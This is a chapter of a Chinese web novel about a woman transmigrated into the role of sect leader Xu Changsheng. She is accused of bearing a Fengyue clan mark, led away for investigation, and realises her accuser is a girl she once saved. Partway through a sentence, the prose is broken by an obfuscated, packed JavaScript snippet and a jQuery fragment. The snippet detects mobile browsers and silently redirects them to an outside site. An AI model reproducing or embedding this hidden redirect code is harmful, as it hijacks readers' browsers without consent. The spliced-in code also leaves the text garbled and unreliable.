常栩在脑中冷静地问系统:“所以我手臂上的花纹,真的和奉月族有关?”
系统答道:【当然。宿主难道一直不知道吗?】
“我还以为……那只是许长生个人的什么特殊爱好……”
直到此刻,常栩才后知后觉地意识到自己有多粗心。
她缓缓深吸一口气,试图理清思绪。
可常栩还是想不通,就原著中而言,“奉月族”这个设定仅仅是为了复活岳婉吟而存在,除此之外几乎毫无存在感。
既然如此,为什么会有人因奉月族的事专门来找她麻烦?
更让她心惊的是,楚绝究竟是如何得知她手臂上有奉月族花纹的?
楚绝见常栩站在原地一动不动,语带挑衅地笑道:“怎么,许掌门,只是让大家看一眼你的手臂而已,难道有什么难处吗?”
常栩面不改色:“那就请楚姑娘示下,你所说的,具体是怎样的花纹?”
“当然可以。”
楚绝显然有备而来,当即从袖中抽出一张纸抛向半空。
术法流转间,纸上的花纹逐渐放大、清晰地呈现在所有人面前。
那是一枚青色的五瓣梅花。
楚绝转向岳婉吟:“听闻青离宫的岳姑娘博览天下典籍,应当可以认出,此图腾是否与奉月族有关?”
岳婉吟迟疑片刻,点了点头:“确是奉月族与生俱来的印记。”
常栩的心彻底沉了下去。
见楚绝如此笃定,一些苍华弟子也不由生出几分疑虑,纷纷回头望向常栩,有些不知所措。
原本针锋相对的南玄与伏幽派两派,此时也站在同一阵线,异口同声要求常栩自证身份。
“奉月族……”
站在最前方的韩尚同望着眼前的花纹,忽地捂住额头,踉跄着后退两步。
他的脑中浮现出陌生的画面,如狂风般掠过,使他头痛欲裂,不由得浑身颤抖,半跪于地。
“韩师兄!”
“尚同!”
这突如其来的变故打断了所有人的思绪,苍华派诸人与岳婉吟立时围上前去。
楚绝没料到韩尚同会有如此反应,不由一怔。
由于江霓不在,苍华派这边无人精通医术,还是展玉川主动上前查看,而后皱眉问道:“身体并无大碍,似是因受刺激想起了什么。韩兄以往可曾失忆?”
苍华弟子纷纷摇头,表示从未听说。
唯有常栩意识到,韩尚同幼时应是与奉月族有所接触,才会在看到花纹后产生如此强烈的反应。
看来他要恢复记忆了,没想到是在这种情况下。
韩尚同很快因剧痛陷入昏迷。
少了这样一位最强战力,苍华派的处境变得更加不妙了。
常栩环顾四周,心知自己已落入彀中。
她暗自衡量,以自己如今的修为,强行突围并非难事,就怕对方还留有不为人知的后手。
更何况……她也想知道,南玄派为何会对她的事情如此了解,又因何步步紧逼至此。
那个什么长老的妻子究竟是谁啊?
常栩认真回想了一遍,并不记得自己有过滥杀无辜的时候。
“既然诸位如此怀疑我,那我随你们走一趟便是。”
常栩冷静开口。
“只是不知,南玄与伏幽派皆声称我是杀人凶手,我到底该去哪里呢?谁有本事带走我,我便让谁辨明我是否为奉月族。”
“同仇敌忾”不过片刻的聂长老和洛执剑对视一眼,立刻又争论起来:“自然是去南玄派!”
“可笑!分明是我伏幽派先来的!”
常栩冷笑:“丑话说在前头,我许长生也不是任人怀疑的软柿子。诸位最好能明白,我不现出手臂,是给你们信任我的机会。若是届时证明你们的指控纯属子虚乌有——那么,今日擅自关押苍华掌门之辱,许长生必定加倍奉还。”
这番话中的威胁之意显而易见。
众人想起常栩几年前的“暴君”之名,知道她非易于之辈,不由被震慑住了,一时迟疑。
楚绝哼了一声:“许长生,都这个时候了,你还有这么多话可说,真实牙尖嘴利。我楚绝既敢指证你,自然不怕你报复。若伏幽派没这个胆子,人就由我南玄带走了。”
“不行。”
一直在旁静观的展玉川终于开口:“许掌门之事牵涉甚广,应交由天元宗调查。南玄与伏幽派可派人同行。”
楚绝没料到他会如此表态,蹙眉问:“这又是为何?”
展玉川看了一眼昏迷的韩尚同,正色道:“奉月族与魔族关系匪浅,若真牵涉至此,天元宗必须介入。”
楚绝道:“这和我们先前说好的可不一样。”
展玉川抬眼反问:“楚姑娘先前也未曾提及奉月族之事,不是吗?”
楚绝一时语塞,随即不满道:“真是多此一举!好,我们便随你前往天元宗。”
眼见天元宗就要带走常栩,苍华弟子皆不知还如何是好。
岳婉吟心中焦急,看了眼怀中昏迷的韩尚同,心一横,咬牙道:“且慢!许长生绝非奉月族,我青离宫愿为她担保——”
“岳姑娘,三思而后行。”楚绝警告道,“此事已经牵涉够多的门派了,你还要将青离宫卷进来吗?你师尊同意了吗?”
岳婉吟如被泼了一盆冷水,愣在原地。
常栩没料到岳婉吟竟愿为自己做到这一步,心头微暖。
不过,她心下已有决断,不愿让岳婉吟为难,于是道:“岳姑娘不必费心。我正想去看看,究竟是谁在背后算计我。”
说完,常栩执起赤荧剑,在众人反应过来之间横扫一周,幽蓝火焰所到之处,灼人的剑意从每个人的颈边掠过。
她淡淡道:“今日一遭,若苍华派弟子有半分损伤,我定不轻饶。”
众人未料她修为已至如此境界,皆心中骇然。
展玉川眼中掠过一丝惊艳,语气恭敬了几分:“许掌门放心,我与韩兄乃挚友,定会护他周全。”
随即示意天元宗弟子上前带走常栩。
南玄与伏幽派众人紧随其后,陆续离开了山庄。
巫阳城的风波就这样告一段落。
除了一部分弟子留下善后外,南玄与伏幽派的大部分人马都跟随离开,一同押送常栩前往天元宗。
途中,常栩问系统此事该如何收场。
眼下虽然靠着虚张声势气暂且稳住局面,但不是长久之计,一旦抵达玉霄城,可就再也瞒不住了。
系统也没什么好办法,只分析道:【方才情形与原著中许长生身败名裂的剧情相似,但宣凌还未出现,威望值也未有下降,无法触发剧情点。建议不要轻举妄动。】
“都这样了威望值还没降?苍华派的人就这么信我?”
常栩有些意外,又道,“照你这么说,我就只能束手就擒?那估计撑不到宣凌回来,我就得死在天元宗。”
说起来,上次去天元宗还是为了坑宣凌,没想到这么快就轮到自己了。
常栩心下感慨几句,余光瞥见紧盯自己的楚绝,有了主意:“我看问题就出在这丫头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362931|183775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上。也不知从哪儿冒出来的,这般针对我。得找机会问个明白。”
机会并不难找,因为楚绝本来就一心要找她的麻烦。
当日下午歇息时,由于被几十双眼睛紧盯,常栩无事可做,只得佯装观赏风景。
不远处,一群人聚在一起,也不知道南玄与伏幽派的人说了什么,展玉川微微颔首。
片刻后,楚绝拿着一条金色软绳走来,冷冷笑道:“许掌门修为高深,大家都怕您夜间‘不慎’伤人,只得出此下策。还请见谅。”
话说得好听,动作却根本不容拒绝。
常栩懒得计较,趁楚绝捆绑她手臂时顺势搭话:“我还不知你为何如此恨我,横竖闲着也是闲着,不如说来听听?特别是你们那位长老的妻子,到底与我有何干系?”
她朝伏幽派的方向抬了抬下巴,“他们口中的师姐我尚且有点印象,被他们缠上也算有理可循。你们南玄派的人,我可是半点都想不起来。”
楚绝手上猛然用力,将绳子勒紧打了个死结。她抬起眼,目光中的恨意鲜明。
“许长生,你犯下那般罪行,竟忘得一干二净!当真该死!”
“哎,就算要杀我,也让我做个明白鬼吧。”常栩不依不饶地说,“你若一直说得不清不楚,我可就更想不起来了,到时候索性不认罪了。”
楚绝握紧拳头,寒声道:“好,那我便提醒你。你可还记得永川镇的一处庭院?”
常栩没料到她会提及永川镇,察觉对方恨意不似作伪,心头一惊,竟有些不确定了。
难道自己真做过什么伤天害理之事?
楚绝似乎冷静了些,冷冷道:“两年前,我被卖至永川镇,是一位姑娘救了我。而她,被你杀了。”
常栩心中疑惑更甚。
此时二人离得近,她得意仔细端详对方面容,竟真的觉察出几分熟悉之感。
永川镇……被卖……
中秋节!
常栩猛地瞪大眼睛,终于想起来了。
这个楚绝,不正是当初她与宣凌在中秋节救下的那个奴隶女孩吗!
相认的话语几乎脱口而出,又被常栩生生咽回——毕竟,她如今是“许长生”,而非“裳儿”。
楚绝口中被她害死之人,竟就是“裳儿”?!
常栩一时心神大乱,被这料想不到的状况砸得发懵。
然而,她这副神态落在楚绝眼中,却成了罪证确凿后的心虚。
“你终于想起来了!”
常栩根本无心听她说什么,满脑子想的都是这姑娘为何会加入南玄派,又为何认定是自己杀了裳儿?
是谁对她说了什么?
除了宣凌,常栩想不到第二个人。
楚绝之所以针对自己,必定与宣凌有关。
想到这种可能,常栩只觉一阵头晕目眩。
可宣凌此刻不该正在危冥山当他的魔尊吗,难道已经回来了?
这时,常栩忽觉手臂传来一阵刺痛,低头看去,才注意到楚绝用来缚她的金色软绳似乎不太对劲——
上面竟然布下了专门克制她的阴系灵力,分明是有意针对!
来者不善。
常栩倒吸一口凉气。
这根本就是一个为她量身打造的圈套,可笑她竟真跳了进来,任人宰割!
不对,现在不是懊悔的时候。
眼下最要紧的是,绝不能去天元宗了。
既然对方有心陷害,必定还留有更险恶的后手。
电光石火间,常栩下定决心,必须设法逃走!